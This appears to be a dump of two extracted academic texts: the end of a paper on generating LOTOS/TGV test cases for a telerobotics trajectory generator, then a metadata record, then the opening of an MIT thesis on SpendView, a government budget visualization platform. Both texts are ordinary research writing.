A direct translation of the TrajectoryGen state diagram in Basic LOTOS is possible, since this diagram satisfies the constraints prescribed in section 2.2, hence the translation defined in section 2.6 is applicable.
Now, the presence of a composite state, such as Check, with outgoing transitions is no problem as far as translation to Basic LOTOS is concerned, thanks to the availability of the disable operator $\triangleright$. However, the Caesar compiler complains about our translation using this feature, as we explain later. The following translation thus departs from the TrajectoryGen state structure in this respect: we collapse state TestPosition to its parent superstate Check, whose outgoing transitions are replicated for its substate TestObstacle. We thus obtain an equivalent state diagram with no composite state.
For the sake of conciseness, we map operation names to shorter gate names, and observe the convention that all names of internal actions have an i. prefix. This mapping is as follows.
**Input actions:**
nP : newPoint
dP : desiredPosition
gT : getTrajectory
nO : newObject
**Output actions:**
nT : newTrajectory
**Internal actions:**
i_te : trajectoryExists
i_tn : not trajectoryExists
i_wb : withinBounds
i_rp : reachablePoint
i_up : not reachablePoint
i_tg : trajectoryGeneration
i_tm : trajectoryModification
i_cn : computedNewTrajectory
i_cm : computedModifiedTrajectory
i_cd : collisionDetected
i_nd : not collisionDetected
Finally, we let $A$ stand for the set of actions defined above, and we let it abbreviate the corresponding list of process gates. Under these premises, here is a Basic LOTOS translation of the TrajectoryGen state diagram.
specification TrajGen[A]:noexit
behaviour Idle[A]
where
process Idle[A]:noexit
:=
nP ; Check[A] [] dP ; Check[A] [] nO ; CheckTraj[A]
endproc
process Check[A]:noexit
:=
i_wb ; TestObstacle[A] [] i_up ; Idle[A]
endproc
process CheckTraj[A]:noexit
:=
i_te ; Control[A] [] i_tn ; Idle[A]
endproc
process TestObstacle[A]:noexit
:=
i_rp ; WaitGetT[A] [ ] i_up ; Idle[A]
endproc
process WaitGetT[A]:noexit :=
gT ; ( i_tg ; CompNewT[A] [ ] i_tm ; CompModT[A] )
endproc
process CompNewT[A]:noexit :=
i_cn ; TrajReady[A]
endproc
process CompModT[A]:noexit :=
i_cm ; TrajReady[A]
endproc
process TrajReady[A]:noexit :=
nT ; Idle[A] [ ] nO ; Control[A]
endproc
process Control[A]:noexit :=
i_cd ; Approach[A] [ ] i_nd ; nT ; Idle[A]
endproc
process Approach[A]:noexit :=
nT ; Check[A]
endproc
endspec
As mentioned above, this translation is not exactly a direct translation of the given state diagram because of a complaint by the Caesar compiler w.r.t. the translation of the composite state Check, with its outgoing transitions, using the Basic LOTOS disabling operator \(>\). It seems instructive, though, to report such a translation as well, that goes as follows.
process Check[A]:noexit :=
(TestPosition[i_wb]
[> i_up ; Idle[A]
) >> i_rp ; WaitGetT[A]
endproc
process TestPosition[i_wb] : exit :=
i_wb ; TestObstacle
endproc
Basically, the Caesar compiler complains because of the recursive occurrence of the Idle process in the left argument of the Basic LOTOS enabling operator $\triangleright\triangleright$. This as well as other cases of recursion, even though well-guarded ones, are forbidden by the so-called restriction rules, which admit regular behaviours only[9]. It is to be noted, however, that those rules provide one with an only sufficient condition for regularity, that is termed static control property in [9] as well as in the Caesar manual[10]. This property is meant to ensure that LOTOS specifications can be translated into finite state graphs. Now, our translation goes in the opposite direction, and we actually have a finite state graph to start with, yet we may expect that whenever some cycle goes through a composite state, then one has got to unfold the corresponding LOTOS enabling and disabling constructs, in order to recover that property.
4.2 A sample test purpose
The next step is a use-case driven synthesis of a test purpose, expressed in Basic LOTOS. This derivation is not mechanical, in that process-algebraic languages are not quite logical languages, but rather have a constructive character, thus prove better suited to describe models rather than requirements. However, their use under appropriate specification styles, such as the constraint-oriented style [28], enables one to get specifications which come quite close to taking a logical flavour. While this is no general method for test purpose selection (a luxury we can’t afford at the present stage of our research), it does often work in practice, as we aim at demonstrating below.
We illustrate this aspect of our methodology by assuming a previous analysis of the functional requirements which apply to our architectural unit, that splits them into separate, independent prescriptions. For example, the trajectory generator should in all cases output trajectories which prevent collisions with objects in the robot work environment; this may be split by case analysis, and modelled in UML by distinct use cases, by considering: collisions with still objects, or with moving objects; and, in either case, under the assumption that no new object comes into play during the new trajectory computation, or under the opposite assumption. Here we choose the first case under the first assumption, that is, output of new trajectory free from collisions with still objects, assuming that no new object is detected during the trajectory computation. This enables us to formulate the test purpose in terms of action traces, where the only relevant actions are: the newPoint input, the newTrajectory...
output, and the internal actions reachablePoint and its opposite.
An informal statement of the selected test purpose exhibiting a kind of logical flavour could be as follows: when Idle, the unit inputs a newPoint, then it checks whether this is a reachablePoint; if so, it outputs a newTrajectory, if not, it goes back to Idle; the test is passed upon output of a newTrajectory.
The formulation of the subject test purpose in Basic LOTOS, however, is also meant to be used for test case generation by the TGV tool. This means that we must follow this tool’s conventions to mark final states of testing traces as either accepting or refusing. In the TGV representation of the IOLTS associated with the LOTOS TP specifications, the accepting states (and respectively the refusing states) are characterized by cyclic transitions with predefined label ACCEPT or accept (and respectively REFUSE or refuse). The latter are implicitly determined by the tool itself, whereas the former require explicitly specified accept action cycles. A slightly nasty problem in this respect is that accept also is a LOTOS reserved keyword, used in the value-passing forms of the enable operator, hence it cannot be made use of as a gate name directly. We get around this problem by using a different gate name, acc, and then replacing it with the accept label as required by TGV test case generation afterwards.
Our test purpose formulation in Basic LOTOS thus looks like as follows.
```
specification TP [nP,i_rp,i_up,nT,acc] : noexit
behaviour Idle[nP,i_rp,i_up,nT,acc]
where
process Idle[nP,i_rp,i_up,nT,acc] : noexit :=
nP ; Check[nP,i_rp,i_up,nT,acc]
endproc
process Check[nP,i_rp,i_up,nT,acc] : noexit :=
i_rp ; nT ; Accepted[acc]
[]
i_up ; Idle[nP,i_rp,i_up,nT,acc]
endproc
process Accepted[acc] : noexit :=
acc ; Accepted[acc]
endproc
endspec
```
The corresponding IOLTS (see figure 5) is generated by the Caesar compiler in Aldebaran format, that is one of the two formats required by TGV for test case generation.
4.3 The TGV test case
The last step aims at test case generation for the previously specified test purpose. With TGV, we choose to explicitly specify the inputs to the specification, the other actions being its outputs. This partitioning is to be defined by regular expressions with the Unix `regexp` syntax, put in an ad-hoc `.io` file as required by the TGV option `-io`. The content of this file (`STG.io`) is the following:
```
input
[nNdD]P
[gG]T
[nN]O
```
We get a fairly interesting, yet economical test case from TGV by invoking it with the following CADP command:
```
caesar.open TrajGen.lotos tgv -io STG.io -tpprior TP.aut
```
whereby we ask TGV to take the system specification `TrajGen.lotos` and the system I/O description file `STG.io` to generate a test case for the test purpose `TP.aut` (previously generated by the Caesar compiler from the test purpose specification given in section 4.2). Note that system inputs are outputs by the tester, and conversely. I/O labeling of transitions in the IOLTS of the generated test case refers to the tester. We do not hide any internal actions, although this would be well possible by the `-hide` option, consistently with our view of the generated test case as an architectural model of a white-box testing unit. Figure 5 displays the test case thus obtained.
The option `-tpprior` prescribes priority to actions of the test purpose in generating the test case. Note that, without this option, priority is by default assigned to specification actions; this would produce a substantially larger test case, where also actions such as `O` outputs by the tester would appear in testing traces, against our intuition of the test purpose as being limited to still objects under the assumption of no new object entering the scene during new trajectory computation. Selection of test purpose priority seems to be a necessary ingredient of the implementation of our testing methodology when using TGV, and appears to be effective—judging from this example at least.
```
\[
\begin{array}{c}
0 \xrightarrow{NP} 1 \xrightarrow{RP} 2 \xrightarrow{NT} 3 \xrightarrow{ACCEPT}
\end{array}
\]
```
Fig. 5. IOLTS derived from test purpose
5 Conclusions
A combination of object-oriented architectural modeling with IOLTS semantics has been explored in this paper, as a framework for a formal testing methodology to assess testability of functional requirements, as well as to generate architectural models of unit testers, at early design stages. The proposed methodology has been tried in a non-trivial case study drawn from design of a telerobotics software architecture, and an implementation of the methodology using a well-established toolbox for IOLTS test case analysis and generation has been successfully experimented.
A single experiment is no definite assessment, of course, yet no reason of principle seems to hamper feasibility of further experiments, e.g. other tools such as TorX [27] or Promela/SPIN [5] seem to deserve attention, perhaps to overcome certain drawbacks which have surfaced in our first experiment.
Test selection and test case generation based on an orthogonal set of test purposes is a promising device to master the complexity of large test suites. However, it is apparent from the experiment presented in this work that the formalization of test purposes, as well as their being linked to formally specified
requirements, both are aspects of our methodology where further investigation is much needed. This seems crucial not only to achieve coherent applicability of the proposed methodology throughout the development process but also to retain traceability of requirements into the test set, thereby mitigating the risk of requirements change not being reflected in the corresponding tests.
Further directions of this research relate to: 1) extension of the methodology to other architectural testing scopes, viz. integration and system testing, involving other kinds of UML models, particularly those provided by concurrent state diagrams, interaction diagrams and activity diagrams; 2) investigation of relationships with testing at more advanced development phases, whereby models are built in a more prescriptive, possibly complete specification perspective; 3) on the formal side of the previous research direction, extension of the expressive means of testing models to cater for data, e.g. in the form of parameter passing in I/O operations, evaluation in internal actions, etc.
Acknowledgements
The authors wish to thank the anonymous referees, of this as well as of a previous version of this paper, for their helpful suggestions to improve both the clarity and the coverage of the presentation.
References
|
{"Source-Url": "https://core.ac.uk/download/pdf/82815054.pdf", "len_cl100k_base": 11269, "olmocr-version": "0.1.50", "pdf-total-pages": 26, "total-fallback-pages": 0, "total-input-tokens": 60151, "total-output-tokens": 14172, "length": "2e13", "weborganizer": {"__label__adult": 0.0003709793090820313, "__label__art_design": 0.0011196136474609375, "__label__crime_law": 0.0003597736358642578, "__label__education_jobs": 0.00140380859375, "__label__entertainment": 8.440017700195312e-05, "__label__fashion_beauty": 0.00018608570098876953, "__label__finance_business": 0.00020825862884521484, "__label__food_dining": 0.0003135204315185547, "__label__games": 0.0006909370422363281, "__label__hardware": 0.0008249282836914062, "__label__health": 0.0004057884216308594, "__label__history": 0.0003924369812011719, "__label__home_hobbies": 0.00010842084884643556, "__label__industrial": 0.0004801750183105469, "__label__literature": 0.000514984130859375, "__label__politics": 0.0002923011779785156, "__label__religion": 0.0006070137023925781, "__label__science_tech": 0.034637451171875, "__label__social_life": 9.92417335510254e-05, "__label__software": 0.006649017333984375, "__label__software_dev": 0.94921875, "__label__sports_fitness": 0.00027751922607421875, "__label__transportation": 0.000560760498046875, "__label__travel": 0.00023829936981201172}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 56968, 0.00983]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 56968, 0.47806]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 56968, 0.87728]], "google_gemma-3-12b-it_contains_pii": [[0, 2368, false], [2368, 5188, null], [5188, 8231, null], [8231, 10518, null], [10518, 13168, null], [13168, 15262, null], [15262, 17620, null], [17620, 20478, null], [20478, 23267, null], [23267, 25374, null], [25374, 27155, null], [27155, 29709, null], [29709, 32184, null], [32184, 34949, null], [34949, 36789, null], [36789, 37960, null], [37960, 40368, null], [40368, 41366, null], [41366, 42369, null], [42369, 45044, null], [45044, 47168, null], [47168, 49355, null], [49355, 50561, null], [50561, 53138, null], [53138, 56656, null], [56656, 56968, null]], "google_gemma-3-12b-it_is_public_document": [[0, 2368, true], [2368, 5188, null], [5188, 8231, null], [8231, 10518, null], [10518, 13168, null], [13168, 15262, null], [15262, 17620, null], [17620, 20478, null], [20478, 23267, null], [23267, 25374, null], [25374, 27155, null], [27155, 29709, null], [29709, 32184, null], [32184, 34949, null], [34949, 36789, null], [36789, 37960, null], [37960, 40368, null], [40368, 41366, null], [41366, 42369, null], [42369, 45044, null], [45044, 47168, null], [47168, 49355, null], [49355, 50561, null], [50561, 53138, null], [53138, 56656, null], [56656, 56968, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 56968, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 56968, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 56968, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 56968, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 56968, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 56968, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 56968, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 56968, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 56968, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 56968, null]], "pdf_page_numbers": [[0, 2368, 1], [2368, 5188, 2], [5188, 8231, 3], [8231, 10518, 4], [10518, 13168, 5], [13168, 15262, 6], [15262, 17620, 7], [17620, 20478, 8], [20478, 23267, 9], [23267, 25374, 10], [25374, 27155, 11], [27155, 29709, 12], [29709, 32184, 13], [32184, 34949, 14], [34949, 36789, 15], [36789, 37960, 16], [37960, 40368, 17], [40368, 41366, 18], [41366, 42369, 19], [42369, 45044, 20], [45044, 47168, 21], [47168, 49355, 22], [49355, 50561, 23], [50561, 53138, 24], [53138, 56656, 25], [56656, 56968, 26]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 56968, 0.0]]}
|
olmocr_science_pdfs
|
2024-11-30
|
2024-11-30
|
5309d7a5ad46a157e712c588241a108a94bddfc4
|
SPENDVIEW: A platform for democratizing access to government budget and expenditure data
Manuel Aristarán
Submitted to the
Program in Media Arts and Sciences,
School of Architecture and Planning,
in partial fulfillment of the requirements for the degree of
Master of Science in Media Arts and Sciences
at the Massachusetts Institute of Technology
June 2016
© Massachusetts Institute of Technology, 2016. All rights reserved.
Signature redacted
Author
Manuel Aristarán
Program in Media Arts and Sciences
May 5, 2016
Signature redacted
Certified By
Dr. César A. Hidalgo
Associate Professor of Media Arts and Sciences
Program in Media Arts and Sciences
Signature redacted
Accepted By
Dr. Pattie Maes
Academic Head
Program in Media Arts and Sciences
SPENDVIEW: A platform for democratizing access to government budget and expenditure data
Manuel Aristarán
Submitted to the
Program in Media Arts and Sciences,
School of Architecture and Planning,
in partial fulfillment of the requirements for the degree of
Master of Science in Media Arts and Sciences
at the Massachusetts Institute of Technology
June 2016
Abstract
Budgeting and expenditure data is the clearest expression of a government's priorities. Despite its importance, making it available to the public imposes hard challenges that not every administration is ready to undertake. The lack of IT capabilities and constrained resources of government agencies —regardless of size or budget— make it difficult for them to respond to the demands of information from their constituencies, transparency advocates, the press and central governments. Moreover, these administrations don't usually have access to analysis tools that help them view how the resources are being used and to detect potential risks of misspending —a critical need of elected officials, who are under everyday scrutiny. Responding to these needs, I propose the design, implementation, impact and usability studies of a software platform for analysis and visualization of government budget and expenditure data.
Thesis Supervisor
Dr. César A. Hidalgo
Associate Professor of Media Arts and Sciences
Program in Media Arts and Sciences
SPENDVIEW: A platform for democratizing access to government budget and expenditure data
Manuel Aristarán
Signature redacted
Thesis Supervisor
Dr. César A. Hidalgo
Associate Professor of Media Arts and Sciences
Massachusetts Institute of Technology
SPENDVIEW: A platform for democratizing access to government budget and expenditure data
Manuel Aristarán
Thesis Reader
Signature redacted
Ethan Zuckerman
Principal Research Scientist — Center for Civic Media
Massachusetts Institute of Technology
SPENDVIEW: A platform for democratizing access to government budget and expenditure data
Manuel Aristarán
Signature redacted
Thesis Reader
Dr. Iyad Rahwan
Associate Professor of Media Arts and Sciences
Massachusetts Institute of Technology
Acknowledgments
This thesis is dedicated to my wife Luisina Pozzo Ardizzi, partner in life and accomplice in countless crazy adventures. None of this would have been possible without your love and support.
When I first got connected to the internet, the coolest and craziest things were hosted in the mit.edu domain. It was through listserv archives coming from the mythical 18.0.0.0/8 class-A IP network that I was first exposed to the hacker culture. Sneakily typing commands on a VT-100 terminal in the computer lab of the university of my hometown in southern Argentina, my 14-year old self fantasized about this mysterious and faraway university in the USA.
Twenty years later, I met César Hidalgo during a fortuitous visit to the MIT Media Laboratory, and I asked him what I needed to do to study at his group.
—“Application period opens in September, huevón.”, he answered.
I didn’t think that I had a chance to study here: it was MIT, home to Minsky, Papert, Shannon and Chomsky. The word hacker was coined here! Besides, I was 33. But my wife talked me into trying (she can talk me into doing anything). I took the English sufficiency test, painstakingly crafted the admission essay, put the paperwork together and submitted my application. Two years after, I’m about to graduate from this magical place, but still find it hard to believe that César trusted me and accepted me as a student of Macro Connections. I will always be grateful for his confidence in me, and for always encouraging all his students to think big, work hard and go farther.
Macro Connections gang, you will always be in my heart. Cristian Jara Figueroa, Kevin Hu, Dominik Hartmann, Flavio Pinheiro: thank you for the laughs, your friendship, your support, your always insightful feedback and kind criticism, and the infinite number of ping-pong matches. I’m grateful for the friendship of the rest of my academic siblings: Mia Petkova, Amy Yu, Mary Kaltenberg, Elisa Castañer, Ambika Krishnamachar, Miguel Guevara and Jermain Kaminski.
Thanks to my fellow Media Lab students, faculty and staff. You have truly made me feel at home away from home. Special acknowledgments to my thesis readers, Ethan Zuckerman and Dr. Iyad Rahwan for their insightful feedback and encouragement during the process of writing this thesis.
I would also like to acknowledge the government of Bahía Blanca, my hometown, that through its Innovation and Open Government Agency allowed me to test the ideas, concepts and tools outlined in this thesis, using the city’s data. Uruguay’s Budget and Planning Office and the Latin American Initiative for Open Data for hosting me and facilitating my research in the beautiful Montevideo.
Finally, I would like to thank my family: my father Roberto, my mother María Inés, my brother Agustín and my wife Luisina. Gracias for always reminding me that love is the only thing that matters.
Table of Contents
Introduction ............................................................................................................. 15
Motivation .................................................................................................................. 16
The nature of fiscal information .............................................................................. 18
Contribution ............................................................................................................. 19
Background ............................................................................................................. 21
Prior Work ............................................................................................................... 22
The Relevance of Dimensional Modeling .............................................................. 27
Multidimensional Modeling of Fiscal Information ................................................. 30
Implementation ...................................................................................................... 35
Design Rationale ..................................................................................................... 36
Design principles .................................................................................................. 36
Narratives ............................................................................................................. 36
Hypermedia ......................................................................................................... 36
Internationalization ............................................................................................ 37
Openness and reusability .................................................................................... 37
Mondrian-REST: a Web-friendly API for OLAP .................................................... 37
Multidimensional eXpressions (MDX) ................................................................. 37
A REST endpoint for OLAP databases ............................................................. 39
Implementation Details ....................................................................................... 44
User experience and user interface ....................................................................... 45
Overview of a Budget .......................................................................................... 45
Drilling down on a budget classification ............................................................ 48
Exploring the different perspectives of the budget ............................................ 49
Budget dimensions as questions ...................................................................... 49
Data verbalization as a complement of visualizations ....................................... 51
Multiple graphical representations ................................................................... 51
Exploring the data ............................................................................................ 52
Sharing ............................................................................................................. 54
Implementation of the user interface ................................................................. 55
Isomorphic Web applications ........................................................................... 56
Visibility to non-rich internet clients ............................................................... 57
Impact ...................................................................................................................... 59
Bahia Blanca: from confrontation to collaboration .................................................. 60
Working with Uruguay's budget office .................................................................. 63
Workshop .............................................................................................................. 64
User evaluation of SpendView ............................................................................. 65
Public Deployment .................................................................................................. 66
Usage data ......................................................................................................... 68
Conclusion .............................................................................................................. 71
Future Work .................................................................................................................. 72
Concluding Remarks ....................................................................................................... 72
List of Figures .................................................................................................................. 73
Index of Tables ............................................................................................................... 75
Bibliography .................................................................................................................... 76
Introduction
Motivation
Government, and the public sphere in general, are active participants of the data explosion that has been happening during the last decade. In the last 10 years, numerous public entities around the world have been active participants of the Open Data movement, that seeks to publish government generated, machine readable data under licenses that allow for unrestricted use, redistribution, modification and propagation (Open Knowledge Foundation, 2015).
However, the increased availability of information resources hasn't always been accompanied by interactive tools that present this data in actionable formats, that allow end users to make informed decisions. The traditional design paradigm for the existing tools is the dashboard, that — just like those in vehicles — allow an analyst or operator to obtain information at a glance from graphical representations of the information generated by the system (Figure 1).

Dashboards predate the Web, so they don't usually incorporate some of the interaction patterns and conventions that became predominant in the last 20 years. As they allow users to filter the information being displayed, it is usually cumbersome or impossible to share a particular state (view) of the charts and data tables. Also, as dashboards are designed to provide information \textit{at a glance}, they tend to underutilize the scroll interaction, now prevalent in mobile interfaces. Lastly, besides chart captions, typical dashboards don't incorporate \textit{text} as a way of describing data to their users.
Lately, there has been an emergence of visualization engines that improve on the classic \textit{dashboard} design logic, by adopting elements of linear storytelling and now conventional patterns of user interaction. The \textit{profile page}, for instance, is one of such conventions. In the context of a Web page, it contains information about an entity of the system (a user in a social network, an article of an online encyclopedia) and presents its information hierarchically.
Notable examples of these ideas include the latest version of the Web site \textit{The Observatory of Economic Complexity} (Simoes Gaspar, 2012), which main entities are profile pages for countries and products, and \textit{Data USA} (Datawheel, Macro Connections / MIT Media Lab, \& Deloitte, 2016) that uses the same technique for offering information about geographical entities, industries and academic majors.
Fiscal information, defined as detailed information records about budget, spending and revenue, are often recorded in multidimensional datasets, a structure that has been traditionally visualized with dashboards. This work will attempt to show that incorporating design elements such as profile pages for the entities defined in a budget, linear narratives instead of configurable visualizations, automatically generated descriptive text along with charts, indexable and shareable pages, can improve on the comprehension, accessibility and diffusion of fiscal information.
The nature of fiscal information
The data generated during the process of formulation and execution of a government's budget is one of the information resources most relevant to the public interest. An administration's policies, encoded in its fiscal measures, influence the lives of its constituents, affecting services such as health, education and utilities. Budget information can be interpreted as what is known in the economic literature as the revealed preferences (Samuelson, 1948) of a consumer, in this case a government administration. It can be argued, then, that public expenditure and budgetary records, when analyzed and visualized with effective techniques and devices, can inform the people, researchers, and public servants about the priorities of their government.
However, fiscal information is inherently complex. The budget design process is a multi-stakeholder procedure, in which disparate actors have different and often competing interests. The politician sees it as an event conducted in the political arena for political advantage, the economist as a question of resource allocation, the accountant focuses on the auditing perspective, while the public servant sees the budget as a blueprint for the implementation of policies (Lynch & others, 1979). This multiplicity of perspectives is directly translated into the structure of the information generated by the budgeting and expenditure processes: the data is recorded in mutually independent budget classifications (Jacobs, Hélis, & Bouley, 2009), each of those serving the needs of different users of the information.
The complexity of fiscal information lies on its multi-dimensional nature. This presents an opportunity to the designer of a tool for presenting it effectively; it is through the combination of these different perspectives (i.e., dimensions) that useful knowledge emerges.
**Contribution**
In this thesis I design and implement *Spendview*, a general tool to visualize and analyze government spending data.
To create *Spendview*, I developed Mondrian-REST, which is a server side software component that allows creation of HTTP APIs for accessing a database by specifying the *logical structure* of the information, and a Web based platform consisting of a system that allows exploration of a public budget through interactive visualizations.
Finally, I examine public deployments of the system within the government of Uruguay, and the city of Bahía Blanca (Argentina).
Background
Prior Work
To make decisions, governments often need to gather and analyze information. However, public availability government information is a relatively recent phenomenon: the first public records legislation was introduced by Sweden in the late 18th century (Mustonen, 2006). The introduction and subsequent democratization of digital information processing techniques have naturally prompted governments, and the civil society, to extend the principles of access to public information to the “raw” or unprocessed data records generated by the state, instead of aggregate statistics and prepared reports.
In 2009 the United States Government also begun pushing open data when President Barack Obama introduced the Open Government Directive (Orszag, 2009), which mandated “executive departments and agencies to take specific actions to implement the principles of transparency, participation, and collaboration”. This mandate institutionalized this demand for digitized public information, and nurtured the emergence of several movements which can be collectively described as civic technology.
In this context of readily available machine-readable datasets generated by governments, and a community of eager journalists, civic hackers and companies, the last few years saw an explosion of platforms that attempt to make often complex information more accessible to non-specialist audiences. Fiscal (budget, expenditure and revenue) information is a natural candidate for this kind of tools, since management of public money has been historically associated with transparency and oversight of the activities of the government.
Although there are precedents of governments publishing contracting and expenditure information online as early as the year 2000\(^1\), those initial attempts were simple “data dumps” from the administrations' financial management information systems (FMIS),
---
\(^1\) The city of Bahia Blanca (Argentina) implemented the Active Control system in September, 2000: http://www.bahiablanca.gov.ar/digesto/Ordenanza1.html?ord=11162
which often failed at making the fiscal information accessible to the general public and public servants. One of the earliest and most referenced examples of a platform that made use of interactive data visualizations is *Where does my money go?* (Gray & Chambers, 2012), originally launched in 2009\(^2\) by the UK non-profit Open Knowledge Foundation. This project evolved into Open Spending, an openly accessible data visualization platform with features tailored to datasets pertaining to fiscal information.

*Figure 2: Where does my money go? One of the first examples of data visualization applied to fiscal data*
Commercial vendors also offer tools for visualization of budget and spending data, prompted by the *Open Government* and *Open Data* movements originated in 2007 and
---
institutionalized by the aforementioned presidential memorandum. The Seattle-based company Socrata sells Open Budget, a platform adopted by several districts in the US. Another commercial offering is OpenGov, which also provides governments with a dashboard for the display of fiscal information.

*Figure 3: Socrata Open Budget showing City of Cambridge's education expenditure*
Besides the tools originated from the non-profit and commercial sectors, some governments have chosen to develop these tools in-house. A common issue with government-built platforms is that they do little to make fiscal information more accessible. Frequently, the tools that governments make available to the public are trimmed-down versions of the business intelligence tools that are used internally. A comprehensive survey
of government fiscal information portals can be found in (Dener & Min, 2013).
News organizations also developed tools to assist in the interpretation of budgetary data. The New York Times' *Four Ways to Slice Obama's 2013 Budget Proposal*, highlights multiple perspectives of the multi-dimensional nature of budget datasets.
*Figure 4: New York Times visualization of the 2013 US Budget proposal*
My own past experiences with information tools for fiscal information also influenced the design and implementation of *SpendView*. *Gasto Público Bahiense (Bahía Blanca Public Spending)* (Aristaran, 2010) is a site that displays procurement information from the government of Bahía Blanca, my hometown. *Presupuesto Abierto* (Aristaran, 2015), a project made as part of the initial explorations for the research presented on this thesis, is a system for graphical display of fiscal information, developed in collaboration with the
government of the City of Bahía Blanca (Argentina).
Figure 5: PresupuestoAbierto.org displaying fiscal information for the cities of Boston (USA) and Bahía Blanca (Argentina)
These examples show that dashboard systems are a frequent choice of paradigm for visualizing fiscal information. We define dashboard as a set of graphical representations of different perspectives of the data and interface elements that, similarly to a car or the cockpit of an airplane, allow the user to obtain knowledge at a glance about the state of the system, described by the measurements contained in the data.
I believe that the dashboard paradigm is not always well suited to the interaction conventions of the World Wide Web. Namely, they don't adapt well to low resolution
displays (e.g., mobile devices), they don't provide hyperlinks to individual configurations of filters, don't take advantage of design elements of linear narrative, and are usually “invisible” to search engines.
The Relevance of Dimensional Modeling
The dimensional modeling technique (Kimball & Ross, 2002) allows users to model knowledge about a system using the concepts of orthogonal dimensions and measures. Dimensions are the structural attributes of the system of interest, which belong to a similar category in the user’s perception of data. Measures are the quantitative observations about the system. For example, for a business that sells products in multiple markets and is interested in tracking its performance over time, the dimensions of interest will be: product, market and time, while the only measure in the model will be the price at which the products are sold. Additionally, dimensions can be structured hierarchically: in the previous example, products can be grouped in categories, markets according to their geographical location, while the chronological dimension can be analyzed by year, quarter and month.
Dimensions and measures are then linked together in a data cube, which becomes the central entity of a data warehouse system. The technologies that enable the implementation of these systems are known as Online Analytical Processing (OLAP). In contrast to Online Transaction Processing (OLTP), which support operational tasks such as recording individual transactions in an organization, OLAP systems are designed and optimized for executing complex, aggregated queries.
As an example, each record in UN COMTRADE (United Nations, 2014)—a database of international trade between countries that collects data since 1962—contains information
about the monetary value of imports and exports between a country of origin and a country of destination, recorded by year and by product, which are classified according to a predefined hierarchy.
The *entities* (time, countries, products, import/export amount) of this database can be mapped directly to concepts in the *dimensional* modeling paradigm as follows:
**Dimensions**
- **Chronological**
- Year
- **Origin Country (Geographical)**
- Continent
- Country
- **Destination Country (Geographical)**
- Continent
- Country
- **Products**
- Classification level 1
- Classification level 2
- Classification level 3
**Measures**
- Imports amount
- Exports amount
Users of this database may never need to know that in 2015 Argentina exported $13.8 millions of US dollars’ worth of oranges to Greece (an individual fact in the database), but instead what was the trade balance between those two countries in the last 15 years. With the information arranged in the aforementioned cube in an OLAP system, the user can apply operations to the data structure to obtain the desired information:
- **Slice** (filter) the cube along the Origin Country dimension, choosing the value “Argentina”
- **Slice** (filter) the cube along the Destination Country dimensions, choosing the value “Greece”
- **Drill down** to the “Year” level in the Time dimension
- **Roll-up** the Imports and Exports measures, applying the summarization rule:
\[ \text{Balance} = \text{Exports} - \text{Imports} \]
In terms of implementation, multidimensional models are often materialized in relational databases, but their table structures differ substantially to the conventional *third normal form (3NF)* (Codd, 1972) found in OLTP systems. 3NF databases are usually structured following the *Entity-Relationship Model* paradigm (Chen, 1976), that seeks to reduce redundancy in the representation of entities and the relationships among them, with the goal of optimizing the system for a high volume of individual transactions, as each operation will involve the minimum possible number of modifications. The structure of a database schema suitable for an OLAP system allows for redundancy, as it does not need to support a high volume of individual modifications. In contrast to 3NF structures, they’re known as ‘star schemas’, examples of which are shown in Figure 6 and Figure 7.
Multidimensional Modeling of Fiscal Information
Fiscal information, revenue and expenditure, is recorded under different classifications, that are independent to each other. Each line of a public budget is usually imputed to at least 4 different hierarchical classifications, namely administrative, economic, functional, and chronological (Jacobs et al., 2009). The administrative classification identifies the area of government that is responsible for administering the funds, while the economic one records the type of expenditure incurred, for example, salaries, goods and services, interests or capital spending. The functional classification codifies the purpose and objectives of the spending, such as education, public safety or community development. The latter has been standardized by the United Nations in the Classification of the Functions of Government (COFOG) manual, to facilitate comparisons between government administrations (Department of Economic and Social Affairs, 2000), while the economic one was codified in the Government Finance Statistics Manual by the International Monetary Fund (International Monetary Fund, 2014).
Some government administrations use additional classification criteria. Among them, we can identify the geographic classification, that identifies the region in which the revenue was collected or the expenditure was incurred, as well as the funding source, that classifies the origin of the perceived or expensed monetary resources.
Associated to each line of the fiscal dataset, which contains references to entities the classifications in use, there are also monetary amounts, which correspond to the phases of the budget execution process. Typically, these are: proposed (budget proposal by the executive or legislative branches of government), approved (budget as approved by the legislative branch), adjusted (subsequent modifications during the fiscal year) and executed (actually perceived revenues or incurred expenses). Other administrations may choose to use additional phases such as committed or paid.
These mutually independent classifications facilitate multiple perspectives of analysis. An economist doing long-term planning could be interested in the yearly amounts broken down by the first level of the functional classification, while an auditor might want to obtain a detailed report of spending by week of a particular month, for a certain department.
<table>
<thead>
<tr>
<th>Chronological Classification</th>
</tr>
</thead>
<tbody>
<tr>
<td>Year</td>
</tr>
<tr>
<td>2015</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>Administrative Classification</th>
</tr>
</thead>
<tbody>
<tr>
<td>Title</td>
</tr>
<tr>
<td>Ministry of Agriculture</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>Economic Classification</th>
</tr>
</thead>
<tbody>
<tr>
<td>Section</td>
</tr>
<tr>
<td>Ordinary Expenses</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>Functional Classification</th>
</tr>
</thead>
<tbody>
<tr>
<td>Main Function</td>
</tr>
<tr>
<td>Social Services</td>
</tr>
